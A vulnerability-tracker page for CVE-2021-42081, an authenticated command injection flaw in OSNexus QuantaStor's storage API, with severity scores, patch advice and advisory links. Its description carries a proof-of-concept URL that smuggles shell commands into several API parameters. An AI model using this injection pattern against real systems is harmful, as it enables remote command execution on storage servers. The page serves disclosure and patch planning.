VulnerabilityModified
CVE-2021-42081
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
HIGH 7.2EPSS 1.23%
Does this matter?
High impact if exploited, but EPSS currently rates exploitation as unlikely (1.23%). Schedule it in the normal patch cycle and watch for a rise in EPSS or a public exploit.
Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
- CVSS 3.1
- 7.2 HIGHCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- EPSS
- 1.23% probability · 67th percentile
- CISA KEV
- Not listed
- Weakness
- CWE-78
- Affected
- osnexus/quantastor
- Source
- csirt@divd.nl
References
- https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storageProduct
- https://www.wbsec.nl/osnexusThird Party Advisory
- https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storageProduct
- https://www.wbsec.nl/osnexusThird Party Advisory
Source: NVD record, EPSS from FIRST.org, KEV from CISA. Refreshed daily.